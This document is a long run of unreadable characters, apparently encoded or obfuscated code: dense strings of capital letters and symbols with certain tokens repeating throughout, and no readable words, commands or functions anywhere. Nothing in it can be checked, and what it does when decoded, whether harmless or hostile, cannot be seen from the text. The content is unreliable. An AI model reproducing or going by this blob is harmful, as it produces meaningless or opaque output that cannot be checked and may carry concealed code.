\[AuWW]YL^QYEQ[Y \BjCDOETLDWOR ??\SjXWEFVVD[Q	jXWEFVVD[QMQQMS?\SWW]YL^QYEQ[YSYWSTOX[\GZ	jXWEFVVD[QMVMGPA@G[?u@EQTAPjZEA\Z[WW]YL^QYEQ[Y \BjCDOETLDWOR\BjCDOETLDWOR ?QPDXZTSXXWE\[AuRPAjZEA\Z[\RGWQZ[WSVF ?u@EQTAPjZEA\Z[\RGWQZ[WSVFQPDXZTSXXWEWW]YL^QYEQ[Y ?\SQPDXZTSXXWEN?uQPYPAPjZEA\Z[\RGWQZ[WSVF?u@EQTAPjZEA\Z[WW]YL^QYEQ[YOLX^FPPZQA\RGWQZ[WSVF??Z^MWjQGV^@FQTLY@OLX^FPPZQA WW]YL^QYEQ[Y?H???HVTAV]a]GZBTWYPYA[E WAjN?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[QSMZYLZ_YRQPCW\F?N?AGLN?\SQPS\[PQ\RGWQZ[WSVFGPA@G[??\SWW]YL^QYEQ[Y\BjCDOETLDWORGPA@G[???\SYQXB TR_DSWBMGPA@G[?\STR]CL\ [F[QRGPA@G[?P_^@POTVP[GSBXAASZLDCW[WR\???]BFV_]QOMFP_^@POTVP[GS\BjCDOETLDWOR?\RE]S^TP\BjCDOETLDWOR i[OLX^FPPZQAi[?WW]YL^QYEQ[Yi[\RGWQZ[WSVFi[WW]YL^QYEQ[Yi[?\BjCDOETLDWORi[WW]YL^QYEQ[Yi[\BjCDOETLDWORi[?OLX^FPPZQAi[?V@GGP[AuOLX^FPPZQA]BFV_]QOMF
u\BjCDOETLDWOR]BFV_]QOMF?\S\BjCDOETLDWORV@GGP[AN?Z^MWjQGV^@FQTLY@OLX^FPPZQA \BjCDOETLDWOR?GPA@G[????H?\SWW]YL^QYEQ[YV@GGP[AWW]YL^QYEQ[Y STYFPN?FWDSWO@V[[ CFM_\ME]BFV_]QOMFV@GGP[A\RE]S^TPXBTAZPBCWOCIDTXWYMTPXBTAZPBCWOCk?V^]@[\jMVLRAQA]BFV_]QOMFB]OM@L]P@\S?DDAPGjYE_B@SFOFC\VP]BFV_]QOMF   ?H?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMIIOLX^FPPZQAEY]B_VYR[LM	GPA@G[?QCDDTE_B_COL\RGWQZ[WSVF GFWPOXCOLX^FPPZQA??CSROQS@LQDMF@XQVCA@ST?TS MY[Tj^ZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[YM MOLX^FPPZQA?\_TY@WB\OO^TGGTL?CSROQSTS MY[Tj^?P_^@POTVP[GSTS MY[Tj^??D\DM_RMPAACSROQSTS MY[Tj^MDYZZjC@[SLFXXT]MDYZZjC@[S ?SZGPTV]\_TY@WB\OO^TF\XFRSE]N?GE^Y^@VF\RGWQZ[WSVF\XFRSE]?\Su\RGWQZ[WSVFGE^Y^@VFIIj[M^MFYLR_STTQGE^Y^@VFM VMAG@PN?be@FPp[A\ALgPVZGQF\[FAT[A\TAPFPFF\Z[B\[QZB??D\DM_RMPAA\XFRSE]?WGPT^?H?H?VC\G^YSRjCMATGYR_DOADBF\A?MY RT]W^L\[jSFXV_QMPE]jEPS?\RGWQZ[WSVF?TGGTLjjfy`rjjjjey`r|{jwtfpjjjjcpgf|z{jj?TGGTLQCDDTE_B_COLVC\G^YSRjCBRW^TOAOBRZT[TBSA?EW]MLLR[FWVG G^A^YYEW]MLLR[F ?\SMY RT]W^L\N?\S\[ARPAjZEA\Z[WW]YL^QYEQ[YZ^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y?GPA@G[?H?Q\FF_DBW?^C_G[BT ^DOTGGTLtwfeta}WW]YL^QYEQ[YCSROQS\BjCDOETLDWOR?GCZZFjGj]ZD@OLX^FPPZQA  \RGWQZ[WSVF
uWW]YL^QYEQ[Y\RGWQZ[WSVFSTYFP?\S\BjCDOETLDWORGCZZFjGj]ZD@GCZZFjGj]ZD@N?^C_G[BT ^DOnh\BjCDOETLDWORtwfeta}WW]YL^QYEQ[YGCZZFjGj]ZD@?^C_G[BT ^DOnhCSROQSGCZZFjGj]ZD@?H?SZGPTV]^C_G[BT ^DOTFDjjLXMjRTSN?FWLS LPBPFARFu\RGWQZ[WSVF DjjLXMjRTS
u\BjCDOETLDWORDjjLXMjRTS?\S\BjCDOETLDWORFWLS LPBPFARFIIFWLS LPBPFARFVZ[A\[@P????\SWW]YL^QYEQ[YOLX^FPPZQAFWLS LPBPFARFEES SVLFZOBN?VFF QMTTGY\BjCDOETLDWOREES SVLFZOBnh?\SVFF QMTTGYFAG\EZFVFF QMTTGYOLX^FPPZQASTYFPRXSSRTABRGAVFF QMTTGYN??Q\FF_DBWVFF QMTTGY?WGPT^?H?FAGPFFAPFAVZXETVAPSSPVAALEP????H?H?\SQ\FF_DBWN?MY RT]W^L\\BjCDOETLDWOROLX^FPPZQA\RGWQZ[WSVFWW]YL^QYEQ[YQ\FF_DBWAG@P\BjCDOETLDWORMY RT]W^L\?\S\BjCDOETLDWORMY RT]W^L\N?Z^MWjQGV^@FQTLY@OLX^FPPZQAOLX^FPPZQA???GPA@G[?H?H?]W_YCPLZTAG@P?@GZC@Q]B]A[@YY?\SuOLX^FPPZQAD\DM_RMPAAN?uS\M@EZGW\A???@GZC@Q]B]A_Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWORD\DM_RMPAA??\S\RGWQZ[WSVF@GZC@Q]B]A@GZC@Q]B]AMY RT]W^L\N?]W_YCPLZTSTYFP???H?ss|W\[Q\[RFEG\XP]T[QF]T^P??H?QOESMCD^ATMTGGTL?twfeta}\BjCDOETLDWOR?QPS\[PQWW]YL^QYEQ[Y
bejvz{ap{ajq|gCSROQS\RGWQZ[WSVF???LGSMEODLO^XXY\[ARPAjZEA\Z[OLX^FPPZQA ?\SLGSMEODLO^XXY\RGWQZ[WSVFLGSMEODLO^XXY	N?D_WOPDSY_[MjSFD\DM_RMPAA[@YY????SZGPTV]QOESMCD^ATMTFCF\ XjN?VLVYPQPAPVAPQ??[BMQRLMPYDERMuOLX^FPPZQA CF\ Xj
u\BjCDOETLDWORCF\ Xj?\S\BjCDOETLDWOR[BMQRLMPYDERM\BjCDOETLDWOR[BMQRLMPYDERMTS MY[Tj^STYFPN?[E\^LQGV^]jAD_M\S@XDA@PTS[QGYV[BMQRLMPYDERMTS MY[Tj^???\SWW]YL^QYEQ[Y[E\^LQGV^]jAD[E\^LQGV^]jAD[BMQRLMPYDERMFWDSWO@V[[ CFM_\MECF\ Xj[E\^LQGV^]jAD?H?H?GPA@G[?H?\S]W_YCPLZTNGP[FE@ WF_L_VMVMPRMGLAZ\YQGP[FE@ WF_L_V?A_QWDDMW\[@ZTD\DM_RMPAAMY RT]W^L\OLX^FPPZQA????V^]@[\jMVLRAQAD\DM_RMPAAB]OM@L]P@\S??DDAPGjYE_B@SFOFC\VPD\DM_RMPAAMMV?YTS^L]AS]jTD\DM_RMPAA?H?@VPVGACEuWW]YL^QYEQ[Y D\DM_RMPAA
_Bj\F\@\] _^_PFAG\[Ru\RGWQZ[WSVFD\DM_RMPAA?\S@VPVGACEMY RT]W^L\N??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[Y?D_WOPDSY_[MjSFD\DM_RMPAA]W_YCPLZT
@GZC@Q]B]A[@YY?Gj_QCYOGZDS[\[ARPAjZEA\Z[OLX^FPPZQA ?@EQTAPjZEA\Z[OLX^FPPZQA Gj_QCYOGZDS[\RGWQZ[WSVF ????\SGj_QCYOGZDS[MMNZMV^\EOMB__AVFE\]ZMV^\EOMB_
ZMV^\EOMB_ZMV^\EOMB_?@EQTAPjZEA\Z[\BjCDOETLDWOR OLX^FPPZQA\BjCDOETLDWOR ?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\RGWQZ[WSVF ?H?GPA@G[?H?@[FPA@VPVGACE?[SZZL\PB\GZ[\\\RGWQZ[WSVF ?VLL^BBC^MVTGGTL?SZGPTV]QOESMCD^ATMTFMDARB T]N?GE^Y^@VF\BjCDOETLDWORMDARB T]????\Su\RGWQZ[WSVFGE^Y^@VFVZ[A\[@P?@ZXSAO]_ZOLX^FPPZQA  WW]YL^QYEQ[Y
uOLX^FPPZQAMDARB T]VSTYFP?\S@ZXSAO]_ZSTYFPWW]YL^QYEQ[Y  OLX^FPPZQAuSYZV^@ZXSAO]_Zyzv~jpm?]P^\G[\XBY^X^A[WuOLX^FPPZQA MDARB T]
uOLX^FPPZQAMDARB T]?WFj OODARC[Lu\RGWQZ[WSVF MDARB T]
uWW]YL^QYEQ[YMDARB T]?\SOLX^FPPZQAWFj OODARC[LN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA?\S@ZXSAO]_ZSTYFPN?\S\RGWQZ[WSVF  OLX^FPPZQA  uSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z?H?VZ[A\[@P??H?\SOLX^FPPZQAWFj OODARC[LTS MY[Tj^STYFPN?\SuWW]YL^QYEQ[Y D\DM_RMPAAN?\S@ZXSAO]_ZSTYFPN?\SWW]YL^QYEQ[Y  WW]YL^QYEQ[Y  uSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z??H?VZ[A\[@P?H?WFj OODARC[L_M\S@XDA@PTS[QGYVWFj OODARC[LTS MY[Tj^?H?\S\BjCDOETLDWORWFj OODARC[LN?Z^MWjQGV^@FQTLY@OLX^FPPZQAWW]YL^QYEQ[YOD]LRS ZO]CLYYCG[EOD]LRS?\S@ZXSAO]_ZSTYFPN?\SWW]YL^QYEQ[Y \RGWQZ[WSVF uSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z?H?VZ[A\[@P?H?\Su\BjCDOETLDWOR D\DM_RMPAAN?bes@YYf\APpQ\A\[RFPG\TY\OPQ\FAG\W@AZG??\S@ZXSAO]_ZSTYFPN?\SOLX^FPPZQA OLX^FPPZQA uSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z???H???VZ[A\[@P?H?\S\XDB^YMGT_TB ^N????CWMGT[YFSi[	|SxZQ@YPY\APFEPPQi[[SZZL\PB\GZ[\\\BjCDOETLDWOR D\DM_RMPAAi[	|SxZQ@YPi[?HPYFPN?CWMGT[YFSi[	|SxZQ@YPXZQjE]EVi[[SZZL\PB\GZ[\\OLX^FPPZQA D\DM_RMPAAi[	|SxZQ@YPi[?	|SxZQ@YPXZQjE]E Vi[[SZZL\PB\GZ[\\OLX^FPPZQA D\DM_RMPAAi[	|SxZQ@YPi[???	|SxZQ@YPXZQjE]EVi[[SZZL\PB\GZ[\\WW]YL^QYEQ[Y D\DM_RMPAAi[	|SxZQ@YPi[?	|SxZQ@YPXZQjE]EVi[[SZZL\PB\GZ[\\\RGWQZ[WSVF D\DM_RMPAAi[	|SxZQ@YPi[??H?\SFWDSWO@V[[ CFM_\MEMDARB T]WFj OODARC[LCWMGT[YFSVLL^BBC^MVnhTGGTLMDARB T]WFj OODARC[L?\S]P^\G[\XBY^X^A[WV^]@[\jMVLRAQAMDARB T]]P^\G[\XBY^X^A[W??PYFPV^]@[\jMVLRAQAMDARB T]OLX^FPPZQA?\S@ZXSAO]_ZSTYFPN?\S\RGWQZ[WSVF WW]YL^QYEQ[Y uSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z?H?H?\S]W_YCPLZTII\BjCDOETLDWOR VLL^BBC^MV]ZZA jjCXETAAXN?????Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVF ??D_WOPDSY_[MjSFD\DM_RMPAA@GZC@Q]B]A?SZGPTV]VLL^BBC^MVTFSPG]SLB@FWDSWO@V[[ CFM_\MESPG]SLB@nhSPG]SLB@nh????Gj_QCYOGZDS[\[ARPAjZEA\Z[WW]YL^QYEQ[Y ???@EQTAPjZEA\Z[OLX^FPPZQA Gj_QCYOGZDS[OLX^FPPZQA ?\SGj_QCYOGZDS[MMN?@EQTAPjZEA\Z[\BjCDOETLDWOR \BjCDOETLDWOR\BjCDOETLDWOR ?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\RGWQZ[WSVF ?H???GPA@G[???H?\S\[ARPAjZEA\Z[WW]YL^QYEQ[Y @EQTAPjZEA\Z[WW]YL^QYEQ[Y OLX^FPPZQA  ?\S\[ARPAjZEA\Z[WW]YL^QYEQ[Y uQPYPAPjZEA\Z[WW]YL^QYEQ[Y ????HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj@\@PDIDZD[@_@\@PDk ?HVTAV]pMVPEA\Z[YA[E WAjN???Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?H?H?S@[VA\Z[WVA DZjOMjDR\^jLYX?N?AGLN?\SQPS\[PQOLX^FPPZQA GPA@G[?\S\RGWQZ[WSVF OLX^FPPZQA GPA@G[???DFB@ \WVYBZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR k?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMII\RGWQZ[WSVFEY]B_VYR[LM	MQSM GPA@G[?VC\G^YSRjCMATGYR_DOADBF\A?V@GGP[AuRPAjZEA\Z[DFB@ \WVYB?\SV@GGP[AWW]YL^QYEQ[YV@GGP[AOLX^FPPZQAVC\G^YSRjCV@GGP[AVC\G^YSRjCGPA@G[?\SOLX^FPPZQA OLX^FPPZQA N?@EQTAPjZEA\Z[DFB@ \WVYBVC\G^YSRjC\RGWQZ[WSVF  ?HPYFP\SQPS\[PQ\RGWQZ[WSVF QPS\[PQ\RGWQZ[WSVF QPS\[PQ\BjCDOETLDWOR QPS\[PQOLX^FPPZQAOLX^FPPZQA  OLX^FPPZQA N?^M_O\FXTEOLX^FPPZQA ?SX WSZAu[PB^M_O\FXTEVZ[FAT[A\RGWQZ[WSVF VZ[FAT[AWW]YL^QYEQ[Y VZ[FAT[A\BjCDOETLDWOR VZ[FAT[AOLX^FPPZQA ?\SSX WSZASX WSZAVZ[[PVAjPGG[ZN?EGPS\M\FFPAryzwtyfn\RGWQZ[WSVFhEGPS\M
ryzwtyfnOLX^FPPZQAhEGPS\M\BjCDOETLDWOR????P_[LCZCARSX WSZAGPTYjPFVTEPjFAG\[RVC\G^YSRjC??SYQXVLFSX WSZAGPTYjPFVTEPjFAG\[RDFB@ \WVYB?SX WSZAD@PGL|iMPiM iM ga|{iM iMSNEGPS\MHZiMAiMZ[iMiMSiMiM\ZiMPj[TiMQPZiMAiMiMS[jCTY@PiM@iMZYZTQiM tiMV`iM iM NSYQXVLFHNP_[LCZCARH[iMSziMPq`eiMV|viMiM p~pliM  eiMiMiM pZiMiMiMiMS[jCiMY@PNP_[LCZCARH?\SSX WSZAPGGZGZ^MWjQGV^@FQTLY@\BjCDOETLDWOR OLX^FPPZQA WW]YL^QYEQ[YSX WSZAPGGZG?SX WSZAVYZFP?H?H?TQQALEPT[[ZATA\Z[F??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[Y\BREXFBjPE?N?be|[[PGwYZV^F]ZZ^QPVZGTAZG??\QQjj]R_W QPS\[PQ\RGWQZ[WSVF
bejvz{ap{ajq|gtwfeta}WW]YL^QYEQ[Y?QCSBSC@GZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR k?GPA@G[TGGTL\QQjj]R_W OLX^FPPZQA \QQjj]R_W WW]YL^QYEQ[Y QCSBSC@GOLX^FPPZQA QCSBSC@G?H?S@[VA\Z[PL_WjXM\^ATRDVDLQC G?N?RMRBYWEVT\[AuOLX^FPPZQA  DLQC G?\SRMRBYWEVT	IIRMRBYWEVTGPA@G[STYFP?M]MXZ[OCBRDXGuWW]YL^QYEQ[Y DLQC G?\S\BjCDOETLDWORM]MXZ[OCBRDXGIIWW]YL^QYEQ[YM]MXZ[OCBRDXG	II\BjCDOETLDWORM]MXZ[OCBRDXG GPA@G[STYFP?SYWSTOX[\GZWW]YL^QYEQ[YM]MXZ[OCBRDXGk?\SOLX^FPPZQA SYWSTOX[\GZ	kIISYWSTOX[\GZnh\BjCDOETLDWOR II\RGWQZ[WSVFSYWSTOX[\GZnh	GPA@G[STYFP?PG[P]ZYOuWW]YL^QYEQ[YSYWSTOX[\GZnkh?\SPG[P]ZYOSTYFPII\RGWQZ[WSVFPG[P]ZYO	MMWGPA@G[STYFP?\S\RGWQZ[WSVFPG[P]ZYOiMSiMWN??X^] GG Cju\RGWQZ[WSVF cOLX^FPPZQAPG[P]ZYO?\S\RGWQZ[WSVFX^] GG CjIIX^] GG Cjnh	IIX^] GG Cjnh GPA@G[STYFP?\SOLX^FPPZQA WW]YL^QYEQ[Y PG[P]ZYOuROQPVZQPPG[P]ZYO ?PYFP\S\RGWQZ[WSVF \RGWQZ[WSVFN?PG[P]ZYOuRO\[SYTAP\RGWQZ[WSVFPG[P]ZYOWW]YL^QYEQ[YPG[P]ZYOMM  ?\SWW]YL^QYEQ[YPG[P]ZYOWW]YL^QYEQ[Y PG[P]ZYOMQWQMPGPA@G[STYFP??H?PYFPGPA@G[STYFP???H???\S\BjCDOETLDWORPG[P]ZYOII\BjCDOETLDWOR PG[P]ZYO	IIOLX^FPPZQAPG[P]ZYOMM\BjCDOETLDWORII\RGWQZ[WSVF PG[P]ZYOSYWSTOX[\GZnhGPA@G[STYFP?GPA@G[PG[P]ZYO?H?S@[VA\Z[VVRT^OMXE\YXETY@??N?beeZFAvZ[AP[AGPV@GF\CPAG@FAT[V]ZG??AGLN?\SQPS\[PQWW]YL^QYEQ[Y GPA@G[?X\ZAE [FEY\BREXFBjPE?\SuWW]YL^QYEQ[Y X\ZAE [FEnhGPA@G[?\SPL_WjXM\^ATRDVX\ZAE [FEnhSTYFPGPA@G[?AWX ALZ@YVE[jSFXV_QMPE]jEPSWW]YL^QYEQ[YTGGTLjjfy`rjjTGGTL\BjCDOETLDWOR GFWPOXCWW]YL^QYEQ[Y?\S\RGWQZ[WSVF AWX ALZ@YVEIIAWX ALZ@YVEGPA@G[?AWX ALZ@YVEOLX^FPPZQA\BjCDOETLDWOR  AWX ALZ@YVEVAFVYVT]EF TXEFVAFVYV ?\SWW]YL^QYEQ[Y AWX ALZ@YVEIIAWX ALZ@YVEGPA@G[?_CQ Z_GA[LL[BRW^TOAOBRZT[TBSAZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF ?FGDXRj@D[OX^WW]YL^QYEQ[Y _CQ Z_GA[LL[WW]YL^QYEQ[Y ?X][MGT\BjCDOETLDWOR _CQ Z_GA[LL[\BjCDOETLDWOR ?C^OjDFGOLX^FPPZQA  X\ZAE [FEnhWW]YL^QYEQ[Y  BRW^TOAOBRZT[TBSAOLX^FPPZQA i[AWX ALZ@YVE?\SuWW]YL^QYEQ[Y X\ZAE [FEnhN?\S[VjZ@ZAT TO\X\ZAE [FEnhN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y \RGWQZ[WSVF  ?GPA@G[?H??\SFWDSWO@V[[ CFM_\MEX\ZAE [FEnhC^OjDFGN?V^]@[\jMVLRAQAX\ZAE [FEnhB]OM@L]P@\S????DDAPGjYE_B@SFOFC\VPX\ZAE [FEnh   ?YTS^L]AS]jTX\ZAE [FEnh?H?GPA@G[?H??DD@@Sj^uWW]YL^QYEQ[Y X\ZAE [FEnh???\SWW]YL^QYEQ[Y DD@@Sj^II\BjCDOETLDWOR DD@@Sj^ GPA@G[??\S\RGWQZ[WSVFDD@@Sj^FGDXRj@D[OX^STYFP\RGWQZ[WSVFDD@@Sj^X][MGTSTYFPGPA@G[?\S\RGWQZ[WSVFDD@@Sj^\BjCDOETLDWOR  STYFPWW]YL^QYEQ[Y  DD@@Sj^OLX^FPPZQA   X\ZAE [FEnhSTYFPN????\SOLX^FPPZQAOLX^FPPZQA  \RGWQZ[WSVFDD@@Sj^   \MG_\Q_MRCPGF\Z[jVZXETGP\MG_\Q_MRnhBRW^TOAOBRZT[TBSA\RGWQZ[WSVF  GPA@G[???\S[VjZ@ZAT TO\X\ZAE [FEnhDD@@Sj^N?Z^MWjQGV^@FQTLY@OLX^FPPZQA WW]YL^QYEQ[Y  ?GPA@G[?H?uFEPV@YTAPTYPGA??\SFWDSWO@V[[ CFM_\MEX\ZAE [FEnhC^OjDFGN?V^]@[\jMVLRAQAX\ZAE [FEnhB]OM@L]P@\S?DDAPGjYE_B@SFOFC\VPX\ZAE [FEnh ???YTS^L]AS]jTX\ZAE [FEnh?H?GPA@G[???H?ZOM^\ZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF ?DD@@Sj^WW]YL^QYEQ[Y\BjCDOETLDWOR  ZOM^\OLX^FPPZQA  DD@@Sj^?\S\RGWQZ[WSVF DD@@Sj^N?Z^MWjQGV^@FQTLY@OLX^FPPZQA \RGWQZ[WSVF ?GPA@G[???H???\Su\BjCDOETLDWORX\ZAE [FEnhGPA@G[?\SA]RFj\F]SOSS]O[\BjCDOETLDWOR N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR WW]YL^QYEQ[Y ????GPA@G[???H?\S[VjZ@ZAT TO\X\ZAE [FEnhDD@@Sj^N?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y \RGWQZ[WSVF ?GPA@G[?H????VDMCPXCLREBO\\_G\RGWQZ[WSVF ?SCSEQTQCXPFGDXRj@D[OX^i[OLX^FPPZQA X\ZAE [FEnhWW]YL^QYEQ[Y i[AWX ALZ@YVEi[X][MGT?FWDSWO@V[[ CFM_\MEX\ZAE [FEnhPY QXX\ESjEGEDD@@Sj^SCSEQTQCXP?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[W\\__D^S^X[ZVE?N?VZXE@ATWYPT@A]ZG\AL??AGLN????\SQPS\[PQ\BjCDOETLDWOR  GPA@G[?X\ZAE [FEY\BREXFBjPE?_FWTT]\DZYD@VFAG\[RuWW]YL^QYEQ[Y X\ZAE [FEnhSTYFP[@YY?\SWW]YL^QYEQ[YWW]YL^QYEQ[Y _FWTT]\DZYD@VC_ FX[SEC_ FX[SEnhBRW^TOAOBRZT[TBSAN?S\SV@jDQS\[ARPAjZEA\Z[WW]YL^QYEQ[Y ?\S\RGWQZ[WSVFS\SV@jDQS	 GPA@G[???\SPL_WjXM\^ATRDVX\ZAE [FEnhSTYFPN?u@EQTAPjZEA\Z[OLX^FPPZQA \BjCDOETLDWOROLX^FPPZQA  ?GPA@G[?H?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF WW]YL^QYEQ[Y ?H?EY]B_VYR[LMPOMML[MC\GXB???\SEY]B_VYR[LMII\RGWQZ[WSVF EY]B_VYR[LM	  II\RGWQZ[WSVF EY]B_VYR[LM  IICOQ [GQ\DVjWVOW@EY]B_VYR[LMGPA@G[?\D_ OXXS@S\BjCDOETLDWOR \RGWQZ[WSVF
uROP[VZQPEY]B_VYR[LM kEY]B_VYR[LM???\S\RGWQZ[WSVF \D_ OXXS@SII\D_ OXXS@SGPA@G[?\SFWDSWO@V[[ CFM_\MEX\ZAE [FEnhWW]YL^QYEQ[Y BRW^TOAOBRZT[TBSA\BjCDOETLDWOR EY]B_VYR[LM\BjCDOETLDWOR\D_ OXXS@Su@EQTAPjZEA\Z[WW]YL^QYEQ[Y OLX^FPPZQAWW]YL^QYEQ[Y  ?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?beaTWYPwYZV^PME\GPTYPGA??H?S@[VA\Z[GT^GjjBW@MCSY@Z?N??\SWW]YL^QYEQ[Y \RGWQZ[WSVF GPA@G[STYFP??BMP_BXOMQPS\[PQ\BjCDOETLDWOR  u\BjCDOETLDWOR twfeta}\RGWQZ[WSVF
twfeta}\BjCDOETLDWOR  jjs|ypjj?GPA@G[\BjCDOETLDWOR BMP_BXOMF?H?S@[VA\Z[F Q[M^^G^OGGDVRjF?N?AGLN?\SWW]YL^QYEQ[Y \RGWQZ[WSVF II\RGWQZ[WSVF \BjCDOETLDWOR GPA@G[?\SQPS\[PQOLX^FPPZQA  GPA@G[?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMIIWW]YL^QYEQ[Y EY]B_VYR[LM	GPA@G[?^PLGT^GjjBW@MCSY@Z?\S^PLSTYFPGPA@G[?PE^GAPBYY^LDF\BjCDOETLDWOR \RGWQZ[WSVF 
\BjCDOETLDWOR \BjCDOETLDWOR EY]B_VYR[LMOLX^FPPZQA EY]B_VYR[LM?jRXXM]RM]_ABZ\RGWQZ[WSVF \RGWQZ[WSVF EY]B_VYR[LMPE^GAPBYY^LDFi[EY]B_VYR[LM?A\CM[P jV\RGWQZ[WSVF jRXXM]RM]_ABZ?CFjCT[LTMWu\RGWQZ[WSVF ^PLT?\SCFjCT[LTMWN?Y\A M  W_BB\[Au\RGWQZ[WSVF  CFjCT[LTMW?@GZC@Q]B]Au\BjCDOETLDWOR CFjCT[LTMWY\A M  W_BB??\S\BjCDOETLDWOR @GZC@Q]B]AOLX^FPPZQA @GZC@Q]B]AEY]B_VYR[LMSTYFPN?u\BjCDOETLDWOR CFjCT[LTMW?GPA@G[?H?QPEGZC\F\Z[VZ@[ATWYPVZXXT[Q??\SY\A M  W_BBA\CM[P jVN??u\RGWQZ[WSVF CFjCT[LTMW?CFjCT[LTMWuWW]YL^QYEQ[Y ^PLB??\SCFjCT[LTMWN?u\BjCDOETLDWOR CFjCT[LTMWWW]YL^QYEQ[Y jRXXM]RM]_ABZY\A M  W_BBi???XW]\LBBj_u\BjCDOETLDWOR CFjCT[LTMWA\CM[P jV?u\BjCDOETLDWOR CFjCT[LTMW?\SXW]\LBBj_jRXXM]RM]_ABZZ^MWjQGV^@FQTLY@WW]YL^QYEQ[Y WW]YL^QYEQ[YEM^DRBEAQ_ F@SFEZEM^DRBEAQ_
EM^DRBEAQ_EM^DRBEAQ_?H?GPA@G[?HPYFPN?u\RGWQZ[WSVF CFjCT[LTMW??uWW]YL^QYEQ[Y CFjCT[LTMW?H?H?Y\A M  W_BBA\CM[P jV?CFjCT[LTMWu\BjCDOETLDWOR ^PLV Y\A M  W_BB?\SCFjCT[LTMWGPA@G[??u\RGWQZ[WSVF CFjCT[LTMWWW]YL^QYEQ[Y  jRXXM]RM]_ABZY\A M  W_BBi?XW]\LBBj_uOLX^FPPZQA CFjCT[LTMWA\CM[P jV?\SXW]\LBBj_jRXXM]RM]_ABZZ^MWjQGV^@FQTLY@\BjCDOETLDWOR WW]YL^QYEQ[Y???u\RGWQZ[WSVF CFjCT[LTMW??HVTAV]a]GZBTWYPYA[E WAjN?befVG\EAxZQ@YPFQPC\GA@TY\OPFAGTAPRL??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjNF[OXj[IDPA]jGBFAF[OXj[k?H?H?S@[VA\Z[PY QXX\ESjEGEV@GGP[ASCSEQTQCXP?N?GZATAPE\EPY\[PSZGbeeZFAaPGXF??\S\BjCDOETLDWOR V@GGP[AIIV@GGP[AGPA@G[WW]YL^QYEQ[YSCSEQTQCXPi[?\S\BjCDOETLDWOR\RGWQZ[WSVF V@GGP[AWZ D^TOegprjzssfpajvtea`gpN?uGPVYT\XAG@FAT[V]ZG????[VVSS@^OFOWZ D^TOnhnh\BjCDOETLDWOR WZ D^TOnhnhZ[RZYA_TATSZEVXFT FRZ[RZYA_???YRT@Q[\BjCDOETLDWOR V@GGP[A[VVSS@^OFO ?B]\YPWW]YL^QYEQ[Y YRT@Q[WW]YL^QYEQ[Y\BjCDOETLDWOR YRT@Q[jQXN?[VVSS@^OFO\RGWQZ[WSVF jQXnh?YRT@Q[WW]YL^QYEQ[Y V@GGP[A[VVSS@^OFO ????H?GPA@G[WW]YL^QYEQ[YV@GGP[A[VVSS@^OFOi[SCSEQTQCXPi[\BjCDOETLDWORV@GGP[A[VVSS@^OFO???H?GPA@G[\RGWQZ[WSVFSCSEQTQCXPi[
i[V@GGP[A??H?S@[VA\Z[A]RFj\F]SOSS]O[^PL????N?\S\RGWQZ[WSVFWW]YL^QYEQ[Y GPA@G[AG@P?C^jMLGRBYuRPAjZEA\Z[OLX^FPPZQA^PL?\S\BjCDOETLDWOR C^jMLGRBYOLX^FPPZQA C^jMLGRBYISTYFPN?SYWSTOX[\GZ\BjCDOETLDWORIC^jMLGRBY?\S\[ASYWSTOX[\GZnh\[A\RGWQZ[WSVF \[ASYWSTOX[\GZnhMMGPA@G[STYFP?H?GPA@G[AG@P?H?S@[VA\Z[VDMCPXCLREBO\\_G^PL???N?besZGXTAA\[Rte|F\APXPAT????\SOLX^FPPZQAOLX^FPPZQAII\RGWQZ[WSVFWW]YL^QYEQ[YGPA@G[??QB^\DOFY\[A\RGWQZ[WSVF ?C^jMLGRBYuRPAjZEA\Z[\RGWQZ[WSVF^PL?X_XGPF\^WR@C?\S\BjCDOETLDWORC^jMLGRBY\RGWQZ[WSVF C^jMLGRBYISTYFPN???SYWSTOX[\GZWW]YL^QYEQ[YIC^jMLGRBY?\S\[ASYWSTOX[\GZnhQB^\DOFYX_XGPF\^WR@C\[ASYWSTOX[\GZnh?H????X_XGPF\^WR@C?u@EQTAPjZEA\Z[\BjCDOETLDWOR^PLQB^\DOFYIX_XGPF\^WR@COLX^FPPZQA  ???\SX_XGPF\^WR@CZ^MW